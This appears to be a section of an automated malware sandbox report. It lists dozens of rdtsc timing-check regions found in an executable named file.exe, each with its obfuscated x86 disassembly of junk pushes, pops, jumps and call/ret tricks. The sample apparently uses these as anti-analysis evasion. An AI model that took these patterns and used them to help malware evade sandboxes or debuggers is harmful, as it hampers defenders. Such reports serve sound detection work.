Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDAB2E second address: DDAB34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDAB34 second address: DDAB56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7AB0FF7769h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDB23D second address: DDB268 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7AB12EBCA2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDB268 second address: DDB284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7768h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDB284 second address: DDB288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE597 second address: DDE59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE642 second address: DDE695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b or dword ptr [ebp+122D1EE7h], ecx 0x00000011 pushad 0x00000012 je 00007F7AB12EBC89h 0x00000018 adc bl, FFFFFFCEh 0x0000001b call 00007F7AB12EBC99h 0x00000020 pushad 0x00000021 popad 0x00000022 pop ebx 0x00000023 popad 0x00000024 call 00007F7AB12EBC89h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F7AB12EBC8Fh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE695 second address: DDE69F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE69F second address: DDE6C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7AB12EBC90h 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F7AB12EBC86h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE6C0 second address: DDE6C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE6C4 second address: DDE6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007F7AB12EBC93h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDEB49 second address: DDEB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDEBF0 second address: DDEC07 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7AB12EBC8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDEEB9 second address: DDEEBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDEEBD second address: DDEEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F7AB12EBC8Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F7AB12EBC86h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF367 second address: DDF36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF697 second address: DDF6A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7AB12EBC86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF734 second address: DDF742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7AB0FF7756h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF742 second address: DDF751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF7EE second address: DDF7F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF7F4 second address: DDF7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDF893 second address: DDF899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE1139 second address: DE1149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE2457 second address: DE2465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF775Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE3B31 second address: DE3B3B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE3B3B second address: DE3B45 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7AB0FF775Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE3B45 second address: DE3B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F7AB12EBC86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE6D8C second address: DE6D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE6D92 second address: DE6D98 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9FA13 second address: D9FA25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9FA25 second address: D9FA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F7AB12EBC86h 0x0000000e jnl 00007F7AB12EBC86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE92AC second address: DE92B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE92B0 second address: DE92D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7AB12EBC97h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE92D1 second address: DE92D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEA1FD second address: DEA203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEA203 second address: DEA28E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnc 00007F7AB0FF7763h 0x00000012 jmp 00007F7AB0FF775Dh 0x00000017 nop 0x00000018 movzx ebx, si 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F7AB0FF7758h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov edi, dword ptr [ebp+122D2D98h] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007F7AB0FF7758h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 mov edi, dword ptr [ebp+122D2C90h] 0x0000005f push eax 0x00000060 pushad 0x00000061 push edi 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEA28E second address: DEA296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB0CF second address: DEB0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB0D3 second address: DEB0E1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB0E1 second address: DEB14C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007F7AB0FF775Eh 0x0000000e jg 00007F7AB0FF7758h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F7AB0FF7758h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push eax 0x00000030 sub dword ptr [ebp+12451875h], ebx 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 and ebx, 43A61B88h 0x0000003f push 00000000h 0x00000041 mov ebx, dword ptr [ebp+122D2ED4h] 0x00000047 xchg eax, esi 0x00000048 pushad 0x00000049 pushad 0x0000004a jmp 00007F7AB0FF775Bh 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 push ebx 0x00000053 jne 00007F7AB0FF7756h 0x00000059 pop ebx 0x0000005a popad 0x0000005b push eax 0x0000005c pushad 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE5A17 second address: DE5A2B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F7AB12EBC86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEA3A0 second address: DEA3A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB28A second address: DEB28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEBF1C second address: DEBF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEA3A6 second address: DEA3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEBF20 second address: DEBF2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7AB0FF7756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB35C second address: DEB360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEBF2A second address: DEBF74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7767h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push edi 0x0000000d jmp 00007F7AB0FF7761h 0x00000012 pop ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D32A9h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7AB0FF775Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB360 second address: DEB364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEC0C0 second address: DEC0CA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEB364 second address: DEB36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEC0CA second address: DEC0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DED2B2 second address: DED2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEF318 second address: DEF31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DEC16A second address: DEC17C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3410 second address: DF3419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF452E second address: DF4538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF5864 second address: DF586C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF6908 second address: DF690E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF690E second address: DF6913 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF6913 second address: DF696D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D1EE7h], ebx 0x00000010 push 00000000h 0x00000012 movzx ebx, di 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F7AB12EBC88h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jmp 00007F7AB12EBC94h 0x00000036 xor edi, 0936EA91h 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF696D second address: DF6972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF6972 second address: DF6978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF25A5 second address: DF25A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF791A second address: DF7992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F7AB12EBC8Ch 0x0000000f popad 0x00000010 push eax 0x00000011 jbe 00007F7AB12EBC94h 0x00000017 push edx 0x00000018 jmp 00007F7AB12EBC8Ch 0x0000001d pop edx 0x0000001e nop 0x0000001f cld 0x00000020 push 00000000h 0x00000022 mov bh, B4h 0x00000024 mov ebx, dword ptr [ebp+122D1E0Dh] 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F7AB12EBC88h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000016h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 mov edi, 3AF63EA5h 0x0000004b xchg eax, esi 0x0000004c jc 00007F7AB12EBC8Eh 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF7992 second address: DF79AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7AB0FF7763h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF2644 second address: DF264A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF35AF second address: DF35B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF3672 second address: DF368C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF368C second address: DF36AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7AB0FF7769h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF6B5B second address: DF6B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF7AEB second address: DF7AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF7BA8 second address: DF7BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF8AED second address: DF8B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7AB0FF7758h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push esi 0x00000011 jmp 00007F7AB0FF775Ch 0x00000016 pop edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F7AB0FF7758h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 xor ebx, dword ptr [ebp+122D1E08h] 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov bx, 3631h 0x00000049 mov eax, dword ptr [ebp+122D0595h] 0x0000004f mov bx, cx 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push esi 0x00000057 call 00007F7AB0FF7758h 0x0000005c pop esi 0x0000005d mov dword ptr [esp+04h], esi 0x00000061 add dword ptr [esp+04h], 0000001Dh 0x00000069 inc esi 0x0000006a push esi 0x0000006b ret 0x0000006c pop esi 0x0000006d ret 0x0000006e jmp 00007F7AB0FF7768h 0x00000073 cld 0x00000074 nop 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jp 00007F7AB0FF7756h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF8B92 second address: DF8B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DF8B96 second address: DF8BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F7AB0FF776Ch 0x00000010 jmp 00007F7AB0FF7766h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD9A3 second address: DFD9AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7AB12EBC86h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9C567 second address: D9C57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7763h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D9C57E second address: D9C582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E014E7 second address: E014F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E014F0 second address: E014FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA4A26 second address: DA4A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7AB0FF775Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA4A3F second address: DA4A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7AB12EBC86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA4A4B second address: DA4A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DA4A4F second address: DA4A5C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E00CE3 second address: E00CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E00CE9 second address: E00D03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7AB12EBC94h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E00D03 second address: E00D10 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007F7AB0FF7756h 0x00000009 pop edi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
